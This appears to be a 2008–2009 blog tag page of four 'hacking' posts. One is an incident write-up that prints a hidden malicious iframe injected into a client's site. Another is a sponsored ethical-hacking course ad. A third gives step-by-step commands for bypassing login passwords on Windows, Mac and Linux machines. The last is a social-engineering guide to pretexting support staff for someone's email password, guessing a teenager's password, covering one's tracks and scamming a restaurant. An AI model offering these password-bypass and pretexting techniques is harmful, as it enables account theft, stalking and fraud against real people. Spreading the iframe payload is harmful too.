Posts Tagged ‘hacking’

Tracking And Stopping Web Site IFRAME Code Injection

Saturday, April 25th, 2009

Yesterday, I wrote about getting paid to hack. Part of what I talked about was computer forensics. Earlier in the day, I was presented with an opportunity to practice my own IT security skills. Below, I’ll explain what happened to my client, how an employee of mine and I found the source of the problem and what we did to fix it.

Log file

Discovering a problem
A client called, complaining that the content management system we built for them was not working properly, so one of the developers took a look at the code and immediately alerted me to a problem. When he looked at the code, he discovered two extra lines at the end. The lines were similar to the following and existed at the bottom of every index.php file in the site:

<iframe src=”http: //lotmachinesguide .cn/ in.cgi?income56″ width=1 height=1 style=”visibility: hidden”></iframe>

My first thought was that someone hacked in and changed the files. What about the rest of the server? This is where you get that sick feeling in your stomach and hope it’s not as bad as it could be. I emailed my wife and told her I’d be unavailable via phone/email/etc. for the next few hours.

Finding the cause
Tracking down the source of a hack or code injection like this can often be tricky. How tricky it is depends on your individual skill set, past experiences, and the complexity of the problem, itself. This one turned out to be easy, partially because I’ve done this before and know many of the places to look, but mostly because it wasn’t really a hack. Not locally, anyway. One of my developers and I sat down in my office and I started looking at the hacked files. Using the following command (from the client’s web root), I displayed a list of all files that were modified that day:

ls -laR |grep "Apr 24"

What it returned was a list of the index files I was already aware of. Good. I then ran the same command on other sites to be sure this was isolated and it was. Next, I checked “last” to see who’s been logging into my server:

last |grep [client username redacted] |grep Apr

Last shows all the recent logins from SSH, FTP, etc. Immediately, I noted a large number of FTP connections for the client site I was investigating, which looked suspicious. I headed to my FTP log files and grepped my “secure” log files for “Incorrect”:

grep Incorrect /var/log/secure*

Your system may use something other than “Incorrect” to indicate a bad login and your “secure” log file location may vary. This grep showed only a few bad attempts, which is fairly normal and not what I expected to see if the account had been brute-forced. I moved on to the FTP log file to see what transfers were made. You’ll need to find your own FTP log location if you don’t know where it is already.

grep "Apr 24" xferlog*

I did this mostly to confirm that I was on the right track, but it uncovered even more oddness. Here’s a bit of what I saw:

Fri Apr 24 11:17:32 2009 0 [ip redacted] 4289 /var/www/vhosts/[domain redacted]/httpdocs/index.php a _ o r [username redacted] ftp 0 * c
Fri Apr 24 11:17:38 2009 2 [ip redacted] 4402 /var/www/vhosts/[domain redacted]/httpdocs/index.php a _ i r [username redacted] ftp 0 * c
Fri Apr 24 11:17:51 2009 0 [ip redacted] 2836 /var/www/vhosts/[domain redacted]/httpdocs/admin/index.php a _ o r [username redacted] ftp 0 * c
Fri Apr 24 11:17:56 2009 0 [ip redacted] 2949 /var/www/vhosts/[domain redacted]/httpdocs/admin/index.php a _ i r [username redacted] ftp 0 * c

For each index file that had the iframe HTML added to the end, there was a download and then an upload five or six seconds later. The speed indicated that it was a script and the fact that it was all done via FTP indicated that if there was a compromised computer somewhere, it was remote and my server was safe.

Cleaning it all up
In this case, cleanup was easy. First, I backed up all the log files for further review just in case I need them. Then I changed the client’s FTP password. Finally, I pulled the latest (clean) versions of the affected index.php files from our subversion repository and uploaded them back to the site.

Preventing future occurrences
I wanted to find out exactly how someone who should clearly not have the client’s FTP credentials wound up with them. My theory was that the client’s computer had been compromised. I headed to arin.net and used their handy IP whois tool to see who the one prominent IP address from the log files belonged to. It turned out to be a COX IP registered to Atlanta, GA. We called the client and asked them if they had anyone there. They did not. The FTP logs also showed uploads, recently, of files documents that related to the client and looked to be legitimate, so we asked who uploaded them and conferenced him in. A couple questions quickly revealed that not only was the IP their local office computers, but the computers there had been “acting funny, randomly rebooting, etc.” for the last day or so. We sent their computer guy out to take care of the problem, which turned out to be a trojan.

Conclusions
First of all, this was a very easy problem to diagnose and fix. I’ve been on the bad end of some serious hacks and this was by no means a bad one. For the client, however, the day proved much more frustrating. The expense incurred from having the IT guy come out and the thought that it could have been much worse (like their site replaced with something untoward), should be a lesson to be very careful about what you download, what you click, and the sites you visit. The best policy is to only open or run things from sites and people you trust, and even then, use caution.

Get Paid To Hack

Friday, April 24th, 2009

One of the things I love most about computers is the ability to learn something new every day. The internet helps me do that from the comfort of my own home and gives me more options than I can shake a stick at for learning new things. You can even take classes online and not just the boring ones, either. This sponsored post is about some of the coolest IT Security classes you can take online. Learn to hack online and then make money doing it.

Security Enforcement

Ethical Hacking
There’s a couple different ways to think about what hacking means. To some people, it’s just seedy characters in seedy places trying to break into your computer and steal your identity. While there’s people out there who do things like that, it’s not the true definition of a hacker. A hacker is someone who thinks outside the box to obtain information and learn new things that is normally unavailable via popular channels. That said, bad hackers are out there, but there is such a thing as Ethical Hacking. Since the EC-Council site does such a good job explaining ethical hacking, I’ll let them tell you in their own words:

The goal of the ethical hacker is to help the organization take preemptive measures against malicious attacks by attacking the system himself; all the while staying within legal limits.

It’s important to note that Ethical Hacking can be learned on your own, but it’s a slow road. Besides, a Certified Ethical Hacker is bound to have better odds making more money. Friends of mine have done this as teams or solo projects and if you’re good, it pays well and is a lot of fun. Now, the pay is better than ever, even in our economy. According to a recent article on CIO.com, the pay for an ethical hacker is up 40%. One of my friends was flown to Japan to hack in to a large company’s network and make a dramatic point about their security needs by walking into a security needs meeting in a highly secured part of the building using only his skills to gain access. “You should have seen their faces”, he told me with a big grin. Speaking for the other side, I manage several servers myself and I can tell you it’s a lot cheaper to pay someone to find all the holes than it is to clean up the mess that an unethical hacker can leave if you don’t.

Roles in IT Security
What if you don’t think hacking is for you? Hacking is rewarding, but there are other IT Security roles that can also be very rewarding and they all pay well. Some of these include pro-active positions like Security Awareness, Security Fundamentals, Advanced Penetration Testing and Application Security as well as some more re-active roles like Disaster Recovery (be the hero), and Computer Forensics (see my post tomorrow for a great real-life example of this from what I dealt with today).

One thing many online classes seem to miss is that a lot of people benefit vastly from the interaction with an actual instructor that a class room environment offers. These guys know that better learning comes from the ability to talk to a real live instructor and get detailed answers to unique and specific questions. They give you access to a real person to help you along as you go.

It’s really a good looking package and I just have to pound the point home… Ethical hacking and IT security is just plain rewarding financially as well as in every other way. If you’re thinking about a career in IT, you should look into this.

Post?slot_id=36467&url=http%3a%2f%2fsocialspark

How to Crack the Account Password on Any Operating System

Thursday, January 29th, 2009

Learn How To Hack

This guest post was written by Blair Mathis from LaptopLogic.com – your premier source for the latest laptop software news and best laptop accessories.

Computer passwords are like locks on doors – they keep honest people honest. If someone wishes to gain access to your laptop or computer, a simple login password will not stop them. Most computer users do not realize how simple it is to access the login password for a computer, and end up leaving vulnerable data on their computer, unencrypted and easy to access.

Password image

Are you curious how easy it is for someone to gain access to your computer? If so, read on to see the technique one might use to figure out your computer password.

Windows
Windows is still the most popular operating system, and the method used to discover the login password is the easiest. The program used is called Ophcrack, and it is free. Ophcrack is based on Slackware, and uses rainbow tables to solve passwords up to 14 characters in length. The time required to solve a password? Generally 10 seconds. The expertise needed? None.

ophcrackSimply download the Ophcrack ISO and burn it to a CD (or load it onto a USB drive via UNetbootin). Insert the CD into a machine you would like to gain access to, then press and hold the power button until the computer shuts down. Turn the computer back on and enter BIOS at startup. Change the boot sequence to CD before HDD, then save and exit.

The computer will restart and Ophcrack will be loaded. Sit back and watch as it does all the work for your. Write down the password it gives you, remove the disc, restart the computer, and log in as if it were you own machine.

Mac
The second most popular operating system, OS X is no safer when it comes to password cracking then Windows.

The easiest method would be to use Ophcrack on this, also, as it works with Mac and Linux in addition to Windows. However, there are other methods that can be used, as demonstrated below.

If the Mac runs OS X 10.4, then you only need the installation CD. Insert it into the computer, reboot. When it starts up, select UTILITIES > RESET PASSWORD. Choose a new password and then use that to log in.

If the Mac runs OS X 10.5, restart the computer and press COMMAND + S. When at the prompt, type:

fsck -fy

mount -uw /

launchctl load /System/Library/LaunchDaemons/com.apple.DirectoryServices.plist

dscl . -passwd /Users/UserName newpassword

That’s it. Now that the password is reset, you can login.

Linux
Finally, there is Linux, an operating system quickly gaining popularity in mainstream, but not so common you’re likely to come across it. Though Mac and Linux are both based on Unix, it is easier to change the password in Linux than it is OS X.

To change the password, turn on the computer and press the ESC key when GRUB appears. Scroll down and highlight ‘Recovery Mode’ and press the ‘B’ key; this will cause you to enter ‘Single User Mode’.

You’re now at the prompt, and logged in as ‘root’ by default. Type ‘passwd’ and then choose a new password. This will change the root password to whatever you enter. If you’re interested in only gaining access to a single account on the system, however, then type ‘passwd username’ replacing ‘username’ with the login name for the account you would like to alter the password for.

Conclusion
There you have it – that is how simple it is for someone to hack your password. It requires no technical skills, no laborious tasks, only simple words or programs. The moral of the story? Encrypt your data to keep it safe. Don’t use only a password, but actually encryption, such as Blowfish or AES-128. There are a number of programs that can do this – TrueCrypt for Windows, or the native encryption found on Ubuntu, creating a disk image in Mac, etc.

How to Hack a Person

Wednesday, January 23rd, 2008

Most people are a familiar with the term “hacking“. In general, it refers to gaining unauthorized access to a computer. One definition from m-w.com is “to gain access to a computer illegally”. To me, hacking refers to gaining unauthorized access to information. I’m not going to explain how to hack a computer. Instead, I’m going to talk about how to hack a person, or, how to gain information from a person that they would not otherwise provide. This is also widely known as “social engineering“.

burlgar.jpg

Get to know your mark
A mark is simply the victim of your information theft. While you may have valid, legal, motives for sneaking around normal channels, I’ll refer to the target as your “mark” because I’m lazy.

Social engineering often involves pretending to be someone you are not. Many times, you may need to pretend to be a client, for example, in order to get their password from their domain registrar or internet service provider. You may have other, more sinister, motives for gathering sensitive data, too. Either way, you will need to be prepared with answers to key questions, appropriate reactions, etc. Research all the information you can about whatever you are trying to get access to as well as the person you are claiming to be (where applicable). For example, if you were to call a large ISP, attempting to get the password to your mark’s email account, you would want to know his or her full name, email address, and birth date at a minimum. Other helpful things to know are names of the girl/boyfriend, spouse, child, pet, etc., hobbies, bands or stars the person likes, and anything else very personal. More often than not, one of these things is the answer to your mark’s “hint” question, that question they ask you before divulging your password when you’ve forgotten it. Sometimes, that one word is all you need.

Some alarming facts
Around 2-4% of all people have a password of “password” or a pin/security code of “1234″. Many of the rest have passwords that can be found in a dictionary file (a file full of dictionary words used for guessing a password randomly). If your mark is 16 and her boyfriend is named Mark (but she calls him “markypoo” all over her MySpace page), you might be able to skip all the dirty work by just trying “mark”, “markypoo”, “ilovemark”, or “ilovemarkypoo” as her password. Just about every demographic seems to fall under the rule that you can usually guess a password within about 20 tries if you get to know the owner of the account. Some more clues that can help are birth dates, nicknames, sports teams, and movie/tv charaters. Know your mark (above) and the rest is pretty easy.

Get to know your source
When I say “source”, I mean the source of your information. This could be anything from an automated web form to a phone support representative, to a front desk employee at a hotel. The type of information you are looking for should dictate what your source is and is should be fairly obvious to you. Pretend, for a second, that you’re looking for that email password from above. Logic dictates that your source is going to the your mark’s ISP. Become a customer, client, or user. Sign up for an email account of your own and make note of the security questions. Test the password entry form and see if it has a minimum/maximum amount of characters or has any other requirements. Does the site suggest a username for you like Yahoo! does (eg: JohnDoe2008)? Any information you can glean through creative and thoughtful experimentation can be instrumental in your success.

Confidence is key
You’ve probably heard that before, but in another context. It’s a popular phrase when talking about sales or success in business. Confidence can drive your job interview home, it can get you sales, and it can even get you a date, but it can also be the key ingredient when trying to con a source out of information. If you act nervous in your efforts, it will likely get noticed and make your source suspicious. Speak clearly, act casual, and act like you’re supposed to get the information you’re asking for. Many times, you can even act as if you were waiting for a third party (whose name you now forget) to call you back with that information. Begin a support call by saying “I somehow got disconnected. I called in because I forgot my password and I forget who I spoke to, but he asked me the security questions and then the call dropped.” If you gently suggest to your source that another person in the company trusted your authority to access a password and was about to give it to you, this will sometimes lower their guard just enough to squeak by.

Confident does not mean sloppy
Sometimes you are acting in the best interest of someone who knows what you’re doing, but what if you’re just trying to snoop through someone’s email or you want to throw a surprise party for someone and just need to grab their contact list from their gmail account? If you don’t want anyone to know what you’re doing, you had better not leave a trail behind you. Getting caught can be embarrassing and get you into trouble with your mark. Worse, if you’re doing what I think you shouldn’t be, you could get jail time. That said, here’s some things to think about before you begin:

  • - Don’t use your real name… anywhere
  • - If using the phone, block your number
  • - If using the web, go through a proxy (from a library)
  • - If using email, get a throwaway email account and check via web mail (from the library)
  • - Know the legality of what you’re planning
  • - Try not to break the law if possible

The more careful you are, the less you have to worry about, and the more confident you can be when faced with the human interaction.

Get more than information
People-hacking works for more than just snooping on your ex-girlfriend’s email (stop obsessing and get over her). You can also work out discounts and deals by knowing how to deal with a particular source. Here’s an easy experiment you can do: Call a fast food joint on a weekday afternoon (right during the busy lunch time) and explain that your order was messed up. Your complaint should be believable, but bad enough that your meal was practically not edible to you. Say they put ketchup on your burger after you asked for no ketchup. Know ahead of time what you ordered (a popular combo meal will probably have been ordered in the last hour by someone at the drive-thru, making it more plausible). Almost every time, they will write down your first name (which can be any name you want to give them). The next day, show up and explain that you were told you would get a complimentary meal for the one they messed up. Give them the name you gave over the phone, order the same meal, and enjoy eating for free. I can’t publicly condone doing this, so if you happen to try it for the purpose of experimentation, even the score by donating $6 to charity or something.

There are many morally valid and many morally corrupt reasons for needing to obtain information, goods, or services via unconventional means like social engineering. Whatever your reason, identify what you want, plan it out, and go get it.